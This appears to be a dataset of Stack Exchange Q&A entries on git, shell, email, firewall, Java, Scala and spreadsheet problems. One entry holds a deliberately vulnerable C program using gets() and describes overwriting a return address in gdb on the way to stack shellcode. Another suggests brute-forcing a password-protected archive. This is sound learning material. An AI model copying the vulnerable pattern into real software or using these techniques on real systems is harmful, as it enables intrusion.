{  "id": "_codereview.82483"  , "question": "The branches I need to merge are called test and test-passed. Merging will always be fast-forward, from test to test-passed as commits to test-passed are only done automatically from test. This is currently working, just wondering if the approach is correct. The script is executed by Hudson, once all testing is complete.git statusgit reset --hardgit pull origin testgit checkout origin/testgit pull origin test-passedgit checkout origin/test-passedgit merge origin/testgit push origin HEAD:test-passedOne specific question I have, is if I need to create local branches as well (-b) or is that not required?Output from above:+ git statusHEAD detached from origin/test-passednothing to commit, working directory clean+ git reset --hardHEAD is now at 16a2d8d updated version+ git pull origin testFrom ssh://github.com/myrepo.git * branch            test       -> FETCH_HEADAlready up-to-date.+ git checkout origin/testHEAD is now at 16a2d8d... updated version+ git pull origin test-passedFrom ssh://github.com/myrepo.git * branch            test-passed -> FETCH_HEADAlready up-to-date.+ git checkout origin/test-passedPrevious HEAD position was 16a2d8d... updated versionHEAD is now at 2aa260d... Merge branch 'dev-integration' into test+ git merge origin/testUpdating 2aa260d..16a2d8dFast-forward app/application.properties                                     | 8 ++++----            4 files changed, 14 insertions(+), 5 deletions(-)+ git push origin HEAD:test-passedTo ssh://git@github.com/myrepo.git   2aa260d..16a2d8d  HEAD -> test-passed"  , "title": "Git merge script"  , "tags": "shell;git"  } 
{  "id": "_reverseengineering.2215"  , "question": "I'm trying to understand very basic stack-based buffer overflowI'm running Debian wheezy on a x86_64 Macbook Pro.I have the following unsafe program:#include <stdlib.h>#include <stdio.h>CanNeverExecute(){        printf(I can never execute\\n);        exit(0);}GetInput(){        char buffer[512];        gets(buffer);        puts(buffer);}main(){        GetInput();        return 0;}I compiled with -z execstack and -fno-stack-protector for my tests.I have been able to launch the program through gdb, get the address of CanNeverExecute function which is never called, and overflow the buffer to replace the return address by this address. I got printed I can never execute, which is, so far, so good.Now I'm trying to exploit this buffer overflow by introducing shellcode in the stack. I'm currently trying directly into gdb: break in GetInputfunction, set buffer value through gdb and jump to buffer adress with jump command.But I have a problem when setting the buffer:I have a breakpoint just after gets function, and I ran the programm with 512 a characters as input.In gdb, I do:(gdb) p buffer$1 = 'a' <repeats 512 times>The input was read without any problem, and my buffer is 512 aI then try to modify its value. If I do this:(gdb) set var buffer=and try to print buffer, its length is now 511! How come??(gdb) p buffer$2 = '\\000' <repeats 511 times>et:And when I try to set it back to, for instance, 512 a, I get:Too many array elementsI can set it to 511 a though, it is really that las byte that doesn't work... How come, is there a simple explanation?"  , "title": "GDB Error Too many array elements"  , "tags": "gdb;buffer overflow"  , "accepted_answer": "GDB protects you to overflow your char array. (gdb) p &buffer$25 = (char (*)[512]) 0x7fffffffdfe0To bypass this security you can either write directly the memory :(gdb) set 0x7fffffffe1e0=0x41414141Or cast the array as a bigger one and then set your stuff :set {char [513]}buffer=512xA"  } 
{  "id": "_unix.146687"  , "question": "I've installed sendmail in Ubuntu as below:  apt-get install sendmailThen I sent an Email to test, I received Email from root <root@mydomain>. I checked the content of /etc/aliases, but it was empty. I've looked around but couldn't figure out how to change default user for mail sending. What kind of record should I add to aliases?  What I want to achieve is to change root to something like no-reply."  , "title": "How should I change root@mydomain when I send from mail() php function?"  , "tags": "ubuntu;root;alias;sendmail"  , "accepted_answer": "You can change it when using php mail() function, by passing an additional parameter:<?phpmail('receiver@address.com', 'Subject', 'Message', null,   '-fnoreply@yourdomain.com');?>Or make it default by changing sendmail_path option in php.ini:sendmail_path = /usr/sbin/sendmail -t -i -f'noreply@yourdomain.com'"  } 
{  "id": "_reverseengineering.12398"  , "question": "I'm writing a parser for some xml scenario files.Among other cleartext info there is a node 'Scenario_Compressed' which i like to analyse.I've uploaded the content here:http://www.lunex.net/temp/compstr.txtcan anybody of you help me identifing the type of compression?thanks in advanceLunex"  , "title": "Need help with compressed string of unknown format"  , "tags": "windows;decompress"  , "accepted_answer": "As @w4rex said, it definitely looks like base64. If you try to decode it like a regular base64 string, you end up with :37 7a bc af 27 1c 00 03 d8 a0 33 34 30 78 00 00       7z..............You recognize the '7z' magic of a 7zip file, and it's indeed a 30Ko archive containing a single file of 363Ko named 'default'. The file is password-protected though, so you could try to either brute-force it or reverse the application generating this file to find the password."  } 
{  "id": "_unix.187668"  , "question": "I am using a proxy to navigate on internet, and I am trying to setup a firewall that will only let me connect to internet via this proxy:if I forgot to turn on the proxy, that I should not be able to connect to internetif the proxy was disfunctional (it happened to me with a VPN in the past), then the connection would be cut.I have done this so far:ufw default deny outgoingufw default deny incomingufw allow from 149.XXX.XXX.XXX # (the address of the proxy)ufw allow to 149.XXX.XXX.XXXAs soon as I doufw enablewhen the proxy is turned off, it does cut all connections.When I turn on the proxy, the connections are still blocked.BUT if I disable the firewall:ufw disablethen I get prompted with my username and password for the proxy.Once I have typed these, I can enable the firewall, and all the connections work.So it works, BUT on my first connection with the proxy I need to disable the firewall, in order to get prompted for credentials.Is there a way around this?I guess this indicates that my first connection to the proxy is not a connection to 149.XXX.XXX.XXX. Why? How can I identify this first connection, in order to allow it?PS: I am using Archlinux, but I don't think it makes any difference for ufw."  , "title": "ufw firewall - how to only allow when I am going through a proxy"  , "tags": "linux;firewall;proxy;http proxy;ufw"  } 
{  "id": "_unix.235328"  , "question": "I'm trying to set up a send-hook so that gpg encryption is enabled when I send to a specific recipient, but if it's sent to other recipients as well, then encryption is disabled. However, send-hooks seem to fire when a particular recipient is anywhere in the recipient list, regardless of who else is present.Ideally, I'd encrypt if it goes to foo@bar.com, but not if goes to foo@bar.com, not@this.com, or@whatever.com. The mutt manual saysWhen multiple matches occur, [send-hook] commands are executed in the order they are specified in the muttrc.Hence, I put the following in my muttrc. If mail is sent to foo@bar.com, then enable autoencrypt. However, if there is a recipient that is not foo@bar.com, then unset autoencrypt.send-hook . unset crypt_autoencryptsend-hook !~l ~t ^foo@bar\\\\.com$ set crypt_autoencryptsend-hook !~l !~t ^foo@bar\\\\.com$ unset crypt_autoencryptHowever, it doesn't seem to work. It seems that send-hooks don't seem to parse each individual recipient separately. Even if I address mail to foo@bar.com, not@this.com, mutt attempts to encrypt it.WorkaroundI can get around this with a very ugly hack.send-hook . unset crypt_autoencryptsend-hook !~l ~t ^foo@bar\\\\.com$ set crypt_autoencryptsend-hook !~l ~t [^r]\\\\.com$ unset crypt_autoencryptIf I send an email to a .com address that has a non-r character preceding, then it won't encrypt. There are obviously lots of r.com addresses that aren't foo@bar.com, so I have to extend the third line as follows.send-hook !~l ~t '([^r]\\\\.com|[^a]r\\\\.com)$ unset crypt_autoencryptThis also excludes r.com addresses with a non-a character preceding too. I just repeat this sequence a few more times.The major problem with this is that send-hooks don't seem to fire for cc: addresses, making this whole third line moot if the email is cc:ed to not@this.com."  , "title": "How can I GPG encrypt for only a sole specific recipient in mutt?"  , "tags": "mutt"  , "accepted_answer": "In muttrc, useset crypt_opportunistic_encrypt = yesFrom $ man 5 muttrccrypt_opportunistic_encrypt      Type: boolean      Default: no      Setting this variable will cause Mutt to automatically enable      and disable encryption, based on whether all message recipient      keys can be located by mutt.      When this option is enabled, mutt will determine the encryption      setting each time the TO, CC, and BCC lists are edited.  If      $edit_headers is set, mutt will also do so each time the      message is edited.      While this is set, encryption settings can't be manually      changed.  The pgp or smime menus provide an option to disable      the option for a particular message.      If $crypt_autoencrypt or $crypt_replyencrypt enable encryption      for a message, this option will be disabled for the message.  It      can be manually re-enabled in the pgp or smime menus.  (Crypto      only)This also inspects cc:ed addresses for validity. Unfortunately, as per the second-last paragraph, this overrides many useful settings. For example, I have set pgp_autoinline = yes, which is deprecated, but necessary for sending to older clients1, which don't support PGP/MIME.1 For example, Android's K-9 + APG. AFAIK this is the only FOSS Android email client that reads PGP-encrypted email at all, but only in a limited fashion. (EDIT: K-9 + openkeychain now supports PGP/MIME.)"  } 
{  "id": "_hardwarecs.2589"  , "question": "I am looking for desktop motherboard which could handle:4 x nvidia k4200 quadro (4 x PCIe x16, gen 3 if possible)Intel Core i7-47904 x DDR3 slot max. memory size 32 GB (at least)ATX format (if possible)We would use them for cuda calculations we need full PCIe bandwith.You can suggest other configuration which will cost not much to upgrade.Also I wanted to know how it is possible to handle 4 gpu with x16 with one cpu. Will it be better than 2 gpu "  , "title": "Motherboards which can handle 4 Gpu x16 Pcie"  , "tags": "motherboard"  } 
{  "id": "_softwareengineering.335170"  , "question": "Whenever I am asked how I would scale out an application I inevitably tend toward a queueing model: split the application responsibilities into individual services and add queues between those services. This means you can spin up more or less instances of a given service as required and they simply pull from the queue to get work.Get enough of these services with different roles and almost inevitably there is the creation of orchestration layer - something that understands the necessary flow of a work item through the queues and manages that end to end.What are some of the alternative approaches for scaling out applications that don't use queues and end up with an orchestration layer?Update based on commentsAs @tofro pointed out, I'm probably talking more about elasticity instead of scalability https://stackoverflow.com/questions/9587919/what-is-the-difference-between-scalability-and-elasticity.Here is an example. Let say I have a service that does video encoding. A user uploads a file, selects one or more different encoding formats (quicktime, divx), the file is encoded into the formats and the user can download the resulting output files. One way to make this elastic using queues would be to have different services, QuickTimeEncoder and DivXEncoder, with queues QTEQueue and DivXQueue and put jobs on queues as required. More instances of the encoders could be added over time as demand changes."  , "title": "Scaling without queues?"  , "tags": "scalability"  , "accepted_answer": "In the absence of queues, you must spin up a new agent immediately for each new task to be executed; the new agent holds the task instance instead of a queue.The Erlang programming language is capable of doing this, because it has the capability of spinning up millions of lightweight agents.Note that Erlang also has a queue module, so it still gives you that option."  } 
{  "id": "_unix.206143"  , "question": "I am using the following bash script to update an email address currentemail@email.com but the problem I have is that the field could be anything, not necessary currentemail@email.com I have tried to use '*' instead, how can I run the following to work for whatever the current email is set as under emailaddress field?#! bin/bashupdatevar=UPDATE email_users SET emailaddress = REPLACE(emailaddress, 'currentemail@email.com', 'admin@$(hostname)');mysql --user=root --password=PASSWORD DATABASE << eof$updatevareof"  , "title": "Update mysql database specific field with this bash script"  , "tags": "bash;mysql"  } 
{  "id": "_codereview.1156"  , "question": "I have the following code:private ScatterViewItem FindScatterViewOfSourceFile(SourceFile find){   foreach (ScatterViewItem svi in classScatterViews)   {      if ((svi.Tag as SourceFile).Equals(find))      {         return svi;      }   }   return null;}Now I'm asking myself if this is valid or if I should better use:private ScatterViewItem FindScatterViewOfSourceFile(SourceFile find){   ScatterViewItem result = null;   foreach (ScatterViewItem svi in classScatterViews)   {      if ((svi.Tag as SourceFile).Equals(find))      {         result = svi;         break;      }   }   return result;}Is there any common practive which one to use? And are both loops doing the same?"  , "title": "Is this a valid loop?"  , "tags": "c#;algorithm"  , "accepted_answer": "First one is hundred times better then the second one. I would avoid defining a variable if you don't really need to. Also I don't believe in one return methods. Especially I don't believe that they improve readability. LINQ would definitely improve it:  return classScatterViews.FirstOrDefault(v => v.Tag.Equals(find));Also I would not use as operator if I do not check result for null."  } 
{  "id": "_unix.321176"  , "question": "(Using an Ubuntu EC2 on AWS)I've a script, /home/ubuntu/start.sh. If I run it as ubuntu, it runs well. I need it to be run at launch, so I put it in /etc/rc.local. This will then be run as root on reboot, and this fails. I'm able to reproduce the failure by:# I'm ubuntu$ whoamiubuntu$ sudo su# i'm now root$ whoamiroot$ ./start.sh./start.sh: line 9: npm: command not found$ su -c ./start.sh - ubuntu./start.sh: line 9: npm: command not foundSo it looks like:root doesn't know about npm (installed by ubuntu under /home/ubuntu/.nvm/versions/node/v4.2.6/bin/npm so that makes sense)su -c ./start.sh - ubuntu doesn't exactly run the script as ubuntuHow can I run this script exactly as if I was logged in as ubuntu?"  , "title": "Command not found when running script as other user"  , "tags": "ubuntu;root;amazon ec2"  } 
{  "id": "_softwareengineering.189962"  , "question": "I have a terminal disease and there is a very high chance that I will no longer be in this world by the end of the year.I have developed a web application that it is extensively used in my familys business (a small hairdressing shop). No member of my family has neither programming nor system administration skills. I have neither close friends with those skills.The business makes at most 10k in net profits per year. In fact, the business profits can only afford to pay the salaries of its 3 employees (father, mother and sister) and those are quite low and decreasing each year due to the financial crisis. In fact, I am not an employee of my familys business, I work for a normal software development company. I developed the application during my free time in order to help them.So far I do not care if another business also uses my application or even if the application itself loses my ownership. I just want that my familys business can continue using it, which means system administration support if something goes wrong and development for new features/bugs.I would like to ask you if you could give me the measures you think I could take in order to guarantee as much as possible the continuity of the application.The technologies of the application are:Platform: Tomcat (Java), MySQL and LinuxFrameworks: mainly JPA and ZK"  , "title": "Maintain a web application once the only developer is gone"  , "tags": "project management;licensing;maintenance;hosting;knowledge transfer"  } 
{  "id": "_codereview.120905"  , "question": "I've taken a coding challenge as part of a job interview and the recruiting process. Sadly I didn't get through it and couldn't secure the job. I am wondering if anyone can help me out here and show me how it could've been done better.The problem described by interviewer was:The purpose of the class is to register aliases for a value.  For  example   'Dave, Davey and Davy are aliases for David     I'm looking  for working tests and some thought around edge cases, usability (i.e.  what that api would be like to use), and a reasonably efficient  implementation (does not need to be extremely high performance).   Thread safety is optional.Provided skeleton:public class Aliases {    public Aliases addAliases(String value, String... aliases) {            throw new UnsupportedOperationException();        }        public String lookup(String name) {            throw new UnsupportedOperationException();        }    }public class AliasesTest {    private final Aliases nameAliases = new Aliases()            .addAliases(david, dave, davey, davie, davy)            .addAliases(thomas, tom, tommy)            .addAliases(michael, mike, micky)            .addAliases(elizabeth, liz, beth, lizzie, bettie, lizbeth);    @Test    public void canLookupExactMatches() {        assertEquals(elizabeth, nameAliases.lookup(liz));        assertEquals(david, nameAliases.lookup(davy));        assertEquals(michael, nameAliases.lookup(michael));    }    @Test    public void canLookupCaseInsensitiveMatches() {        assertEquals(elizabeth, nameAliases.lookup(Liz));        assertEquals(david, nameAliases.lookup(DAVIE));        assertEquals(michael, nameAliases.lookup(Mike));    }    /* Add more test methods as required, feel free to remove/rename these if you prefer different terminology */    @Test    public void cannotFindLookupForAlias() {        // ....    }    @Test    public void edgeCases() {        // ....    }    @Test    public void moreEdgeCases() {        // ....    }    /* If you think the class would benefit from other convenience methods please add/test them */    /* If anything is unclear please contact Dave W. */}Here is my solution:import java.util.Collections;import java.util.Map;import java.util.Set;import java.util.concurrent.ConcurrentHashMap;public class Aliases {    private Map<String, Set<String>> aliasesMap = Collections.synchronizedMap(new ConcurrentHashMap<>());    //public Aliases addAliases(String value, String... aliases) {    //changed due to better understability and to avoid mistakes    public Aliases addAliases(String value, Set<String> aliases) {        if (aliases.contains() || aliases.contains(null)) {            throw new IllegalArgumentException(Name set can't contain nulls);        }        aliasesMap.put(value, aliases);        return this;    }    public String lookup(final String name) {        if (null == name) {            return null;        }        Set<String> keySet = aliasesMap.keySet();        if (setContainsString(keySet, name)) {            return name;        }        for (Map.Entry<String, Set<String>> entry : aliasesMap.entrySet()) {            Set<String> set = entry.getValue();            if (setContainsString(set, name)) {                return entry.getKey();            }        }        return null;    }    private static boolean setContainsString(Set<String> set, String str) {        return set.stream().map(String::toUpperCase).anyMatch(str.toUpperCase()::equals);    }}public class AliasesTest {    private Aliases nameAliases = new Aliases()            .addAliases(david, new HashSet<>(Arrays.asList(dave, davey, davie, davy)))            .addAliases(thomas, new HashSet<>(Arrays.asList(tom, tommy)))            .addAliases(michael, new HashSet<>(Arrays.asList(mike, micky)))            .addAliases(elizabeth, new HashSet<>(Arrays.asList(liz, beth, lizzie, bettie, lizbeth)));    @Test    public void canLookupExactMatches() {        assertEquals(elizabeth, nameAliases.lookup(liz));        assertEquals(david, nameAliases.lookup(davy));        assertEquals(michael, nameAliases.lookup(michael));    }    @Test    public void canLookupCaseInsensitiveMatches() {        assertEquals(elizabeth, nameAliases.lookup(Liz));        assertEquals(david, nameAliases.lookup(DAVIE));        assertEquals(michael, nameAliases.lookup(Mike));    }    @Test    public void cannotFindLookupForAlias() {        assertNull(nameAliases.lookup(123));        assertNull(nameAliases.lookup(BOO));        assertNull(nameAliases.lookup(Foo));    }    @Test    public void edgeCases() {        assertNull(nameAliases.lookup(null));        assertNull(nameAliases.lookup());    }    @Test(expected = IllegalArgumentException.class)    public void addNullAliasesTest() {        new Aliases().addAliases(david, new HashSet<>(Arrays.asList(dave, null)));    }    @Test(expected = IllegalArgumentException.class)    public void addEmptyAliasesTest() {        new Aliases().addAliases(david, new HashSet<>(Arrays.asList(dave, )));    }}The feedback I got from the interviewer:Code looks up values by walking the entire data-structure looking for a match  (major)Usage of concurrent map structure but not its methods, therefore adds little/nothing (major)Unclear what would happen if more aliases were registered to a value  (minor)Each walk also performs the lowercasing on each item every time (why not store lowercased)   (major)addAliases rejects nulls in the alias list but accepts nulls as a value  (medium)change of api from varargs to set seems simply to make it easier for the given implementation, not necessarily the api  (minor)failed to test giving nulls as values (major)"  , "title": "Registering and looking up aliases"  , "tags": "java;interview questions;hash map"  , "accepted_answer": "The first point in the feedback was Code looks up values by walking the entire data-structure looking for a match (major).If you turn your logic around you can fix this easily. The requirement is basically for a mapping alias => name. How about using the aliases as keys and the full name as the value? The code below also deals with another major feedback point also, storing the names in lower case, not doing the conversion on every lookup.import java.util.Objects;import java.util.Map;import java.util.HashMap;public class Aliases {    public Aliases addAliases(String value, String... aliases) {        for (String alias : aliases) {            this.aliases.put(alias.toLowerCase(), value);        }        this.aliases.put(value, value);        return this;    }    public String lookup(String name) {        Objects.requireNonNull(name, Name must not be null);        return aliases.get(name.toLowerCase());    }    public static void main(String[] args) {        final Aliases nameAliases = new Aliases()            .addAliases(David, dave, davey, davie, davy)            .addAliases(Thomas, tom, tommy)            .addAliases(Michael, mike, micky)            .addAliases(Elizabeth, liz, beth, lizzie, bettie, lizbeth);        String alias = Liz;        System.out.printf(%s is an alias for %s%n, alias, nameAliases.lookup(alias));        alias = dave;        System.out.printf(%s is an alias for %s%n, alias, nameAliases.lookup(alias));    }    // PRIVATE //    private Map<String, String> aliases = new HashMap<>();}"  } 
{  "id": "_webapps.39346"  , "question": "We wanted to crunch some data re: the length of time it took to get from one column to the next; all of our cards get moved from our Production to Post-Production board and we see that the information from the card gets deleted when it switches boards.  Is there any way to get that data back? "  , "title": "Is there a way to pull data from a card after it has been transferred to another board?"  , "tags": "export;trello boards"  } 
{  "id": "_scicomp.26654"  , "question": "Consider a fluid flow simulation in a pipe. At the outflow, instead of explicitly imposing a boundary condition, I linearly extrapolate information from the interior (for velocity components). This will translate to $$\\frac{\\partial ^2 u}{\\partial x^2} =\\frac{\\partial ^2 v}{\\partial x^2}=\\frac{\\partial ^2 w}{\\partial x^2}= 0$$ at the boundary($x$ being axial direction). This kind of numerical condition has been used successfully throughout the literature (see page 262 of this paper).What I am interested is - what does this condition physically mean?Any discussion would be greatly appreciated."  , "title": "Outflow boundary condition - second derivative of velocity"  , "tags": "fluid dynamics;boundary conditions"  } 
{  "id": "_unix.23515"  , "question": "I want to include the return status in my prompt. (Easy add '$? ', right?)However, I only want the status returned (and trailing space) if non-zero.Example:sd ~ $ false1 sd ~ $ truesd ~ $ "  , "title": "Display Non-Zero Return Status in PS1"  , "tags": "bash;prompt"  , "accepted_answer": "Make sure that the promptvars option is on (it is by default). Then put whatever code you like in PROMPT_COMMAND to define a variable containing exactly what you want in the prompt.PROMPT_COMMAND='prompt_status=$? ; if [[ $prompt_status == 0  ]]; then prompt_status=; fi'PS1='$prompt_status\\h \\w \\$ 'In zsh you could use its conditional construct in PS1 (bash has no equivalent).PS1='%(?,,%? )%m %~ %# '"  } 
{  "id": "_unix.230399"  , "question": "I've been trying for a while but have not been able to find a way to control the lights on a set of controllers from the game Buzz (wired, from Playstation 2). You can see some of my failed attempts in my questions over on Stack OverflowRuby libusb: Stall errorSending HID defined messages with usblibSo I turned to a more base linux method of sending messages, and failed to do it by piping data to /dev/hidraw0, too.Then I discovered a file in the linux repository which refers to the buzz controllers specifically (/linux/drivers/hid/hid-sony.c), and the fact that they have a light. It even has a method called buzz_set_leds (line 1512):static void buzz_set_leds(struct sony_sc *sc)So I'm 100% sure that this is the code does what I'm trying to do.I've had a go at including this in a c file, but am unable to include hid-sony because I seem to be missing these files.#include <linux/device.h>#include <linux/hid.h>#include <linux/module.h>#include <linux/slab.h>#include <linux/leds.h>#include <linux/power_supply.h>#include <linux/spinlock.h>#include <linux/list.h>#include <linux/idr.h>#include <linux/input/mt.h>#include hid-ids.hIn compilation, I get this error:hid-sony.c:29:26: fatal error: linux/device.h: No such file or directory #include <linux/device.h>                          ^compilation terminated.Sorry, I'm a Ruby programmer with no background in C.How do I get these missing 'linux/' files and refer to them from my c library - or how can I write to the controllers from the shell?"  , "title": "How can I write to the Buzz controllers HID device created by hid-sony.c to work the LEDs?"  , "tags": "linux;drivers;usb;hid"  , "accepted_answer": "with the sony driver loaded the driver provides standard led kernel interfaces:echo 255 > /sys/class/leds/*buzz1/brightnessecho 0 > /sys/class/leds/*buzz1/brightness"  } 
{  "id": "_softwareengineering.159634"  , "question": "We have a project where UI code will be developed by the same team but in a different language (Python/Django) from the services layer (REST/Java). The code for each layer exits in different code repositories and which can follow different release cycles. I'm trying to come up with a process that will prevent/reduce breaking changes in the services layer from the perspective of the UI layer.I've thought to write integration tests at the UI layer level that we'll run whenever we build the UI or the services layer (we're using Jenkins as our CI tool to build the code which is in two Git repos) and if there are failures then something in the services layer broke and the commit is not accepted.Would it also be a good idea (is it a best practice?) to have the developer of the services layer create and maintain a client library for the REST service that exists in the UI layer that they will update whenever there is a breaking change in their Service API? Conceivably, we would then have the advantage of a statically-typed API that the UI code builds against. If the client library API changes, then the UI code won't compile (so we'll know sooner that there was a breaking change). I'd also still run the integration tests upon building the UI or services layer to further validate that the integration between UI and the service(s) still works. "  , "title": "Should one generally develop a client library for REST services to help prevent API breakages?"  , "tags": "rest;django"  } 
{  "id": "_unix.202887"  , "question": "So I just installed the latest Kali Linux on my laptop which was based on what is currently an oldstable. I then upgraded the whole thing to current stable, which then upgraded my Gnome Desktop to version 3...Coincidentally, Wayland just had a working package in the Debian repository on the current stable. How do I use it?When I boot up I get shown this screen (which it didn't do in the Gnome 2 of the latest Kali):https://blogs.gnome.org/mclasen/files/2013/09/login-screen.pngThen I select the Setting (the gear on the left side of Sign In button). It shows me:System DefaultGnomeGnome ClassicGnome on WaylandThe only one that's ever worked was Gnome Classic. How do I force the usage of Wayland? I already have these Wayland related packages installed:xwaylandwestonibus-waylandlibwayland-client0libwayland-serverlibwayland-egl1-mesalibwayland-cursor0libva-wayland1Yet when I choose Gnome on Wayland, the screen gets screwed up... How do I enter Wayland?Btw, the file ~/.config/weston.ini does not exist."  , "title": "Using Wayland on my Debian upgraded system"  , "tags": "desktop environment;wayland"  } 
{  "id": "_unix.238373"  , "question": "I'm using a MySQL database and Apache server with an AWS EC2 instance running AWS Linux. I start them both using the service command, but I am not familiar with any other tool that would come pre-installed or available through package manager that would ensure they don't get interrupted.Now I'm just running a script manually that restarts all the services when an issue with the site occurs:sudo service httpd restart && sudo service php-fpm-5.6 restart && sudo service mysqld restartSometimes the services run into and error and hang or otherwise get interrupted and it also crashes my site. I'm looking for a way to restart the services and monitor their health either through a command line utility, modifying config files, or any other way that works. "  , "title": "Keeping services on EC2 alive"  , "tags": "apache httpd;mysql;services;amazon ec2"  , "accepted_answer": "For generic checks of a service I see 2 main options:a process monitor like monit (AmiLinux has monit in its amzn-main repo)monitor multiple aspects of your system performance with zabbix which can also perform conditional command execution on top of metric trigger notifications. This should ideally run on another server and monitor your server through an agent to allow for better reliability."  } 
{  "id": "_softwareengineering.264658"  , "question": "Is it possible to call a method using infix notation?For example, in Haskell, I could write the following fucntion:x `isAFactorOf` y = x % y == 0and then use it like:if 2 `isAFactorOf` 10 ...Which in some cases allows for very readable code. Is anything similar to this possible in Scala? I searched for Scala infix notation, but that term seems to mean something different in Scala."  , "title": "Scala infix notation"  , "tags": "scala"  , "accepted_answer": "To expand on the answer by @eques, starting with version 2.10, Scala introduced implicit Classes to handle precisely this issue.This will perform an implicit conversion on a given type to a wrapped class, which can contain your own methods and values.In your specific case, you'd use something like this:implicit class RichInt(x: Int) {  def isAFactorOf(y: Int) = x % y == 0}2.isAFactorOf(10)// or, without dot-syntax2 isAFactorOf 10Note that when compiled, this will end up boxing our raw value into a RichInt(2). You can get around this by declaring your RichInt as a subclass of AnyVal:implicit class RichInt(val x: Int) extends AnyVal { ... }This won't cause boxing, but it's more restrictive than a typical implicit class. It can only contain methods, not values or state."  } 
{  "id": "_webmaster.19046"  , "question": "On the home page of our online store we have a banner promoting particular product. Clicking that banner takes to the product details page (does not add to the cart). We would like to track how many banner clicks lead to actual sale of that product. If that's not possible, is it possible to track how many banner clicks lead to a sale (regardless if that product is in the cart).We are using Google Analytics.In our situation, we cannot modify the store sources (it is a hosted solution). Only custom javascript can be added to template files."  , "title": "Track how many banner clicks lead to sales of the advertised product"  , "tags": "google analytics"  } 
{  "id": "_webapps.60550"  , "question": "I need to create some data for a simulation. So I wanted to take a spreadsheet, and for each column, fill it with random data falling within a domain. A uniform distribution is good enough. For a binary variable, I am currently doing following steps: create a formula like if(rand()>0.5, black, white) in a new columnfill a column with it, careful to only do it for the amount of rows I want (not just select the whole column and copy into it)copy the results and do paste specials -> values in the original column But if I have a variable with 7 possible values, I can't think of anything better than 7 nested if statements. Are there better ways?"  , "title": "How can I easily fill a column in Google Spreadsheet with random values from a list?"  , "tags": "google spreadsheets"  , "accepted_answer": "I think this is what you want. A spreadsheet the generates a column of rand() numbers. Then look up the rand() number and return another value.In the following instruction be sure to keep the $s for absolute referencing.In cell E2 enter the upper limit of the random numbers (I used 7).In cells C2 to C8 enter the numbers 1 to 7 (since the upper value is 7).In cells D2 to D8 enter the values you want to return. In this case I used names.In cell A2 enter the formula: =int(RAND()*$E$2)+1 (where cell E2 holds the upper limit of the random numbers).Copy this formula down as far as needed.In cell B2 enter the formula: =vlookup(A2,$C$2:$D$8,2) (where cells C2 to D8 hold the substitution values). If the random number generated is 1 then this returns the name Abe.Copy this formula down as far as needed.Let me know how this goes.Also see my RAND() vlookup spreadsheet."  } 
{  "id": "_unix.103234"  , "question": "I want to use korean characters in Emacs, so I installed hangul.el.I can activate input-method by '(set-input-method korean-hangul)'.And I want to define a mode that have the `korean-hangul' input method.I only know how to define a minor mode with a defined map-key like this.(easy-mmode-define-minor-mode korean-mode Mode for korean nil    korean-mode-map)But I don't know how to connect a input-method and a minor-mode.I'll add add some key-bindings to the korean-mode.How can I define a mode like this korean-mode?"  , "title": "How to define a minor mode that uses specified input-method in Emacs"  , "tags": "emacs"  } 
{  "id": "_codereview.49416"  , "question": "Is this a good approach of designing a class or is there some other way that I am not aware of?Student.hspecification file#ifndef STUDENT_H#define STUDENT_H#include <string>using namespace std;class Student{    private:        int ID;        string name;        double GPA;         char gender;    public:        Student();        Student(int ID, string name, double GPA, char gender);        void setStudent(int ID, string name, double GPA, char gender);        int getID();        string getName();        double getGPA();        char getGender();        void print();};#endifStudent.cpp implementation file#include Student.h#include <iostream>using namespace std;Student :: Student(){    ID = 0;    name = ;    GPA = 0;    gender = ' ';}Student :: Student(int ID, string name, double GPA, char gender){    this -> ID = ID;    this -> name = name;    this -> GPA = GPA;    this -> gender = gender;}void Student :: setStudent(int ID, string name, double GPA, char gender){    this -> ID = ID;    this -> name = name;    this -> GPA = GPA;    this -> gender = gender;}int Student ::  getID(){    return ID;}string Student :: getName(){    return name;}double Student :: getGPA(){    return GPA;}char Student ::  getGender(){    return gender;}void Student :: print(){    cout << ID :  << ID << endl;    cout << Name :  << name << endl;    cout << GPA :  << GPA << endl;    cout << Gender :  << gender << endl;}StudentDemo.cpp#include <iostream>#include Student.husing namespace std;int main(){    Student s;    int ID;    string name;    double GPA;     char gender;    cout << Enter ID ;    cin >> ID;    cout << Enter name ;    cin >> name;    cout << Enter GPA ;    cin >> GPA;    cout << Enter gender ;    cin >> gender;    s.setStudent(ID, name, GPA, gender);    s.print();    return 0;}"  , "title": "C++ Student Class"  , "tags": "c++;classes"  } 
{  "id": "_unix.38422"  , "question": "I am running VirtualBox (using the Qiime image http://qiime.org/install/virtual_box.html)The physical hardware is a 32 core machine. The virtual machine in VirtualBox has been given 16 cores.When booting I get:Ubuntu 10.04.1 LTSLinux 2.6.38-15-server# grep . /sys/devices/system/cpu/*/sys/devices/system/cpu/kernel_max:255/sys/devices/system/cpu/offline:1-15/sys/devices/system/cpu/online:0/sys/devices/system/cpu/possible:0-15/sys/devices/system/cpu/present:0/sys/devices/system/cpu/sched_mc_power_savings:0# ls /sys/kernel/debug/tracing/per_cpu/cpu0  cpu1  cpu10  cpu11  cpu12  cpu13  cpu14  cpu15  cpu2  cpu3  cpu4  cpu5  cpu6  cpu7  cpu8  cpu9# ls /sys/devices/system/cpu/cpu0  cpufreq  cpuidle  kernel_max  offline  online  possible  present  probe  release  sched_mc_power_savings# echo 1 > /sys/devices/system/cpu/cpu6/online -su: /sys/devices/system/cpu/cpu6/online: No such file or directorySo it seems it detects the resources for 16 CPUs, but it only sets one online.I have tested with another image that the VirtualBox host can run a guest with 16 cores. That works. So the problem is to trouble shoot the Qiime image to figure out why this guest image only detects 1 CPU."  , "title": "VirtualBox guest: 16 CPUs detected but only 1 online"  , "tags": "kernel;virtualbox;cpu;hot plug;smp"  , "accepted_answer": "QIIME came out with a new virtualbox image (version 1.5), which works.If no one finds the answer to the problem above I will close the question in a week."  } 
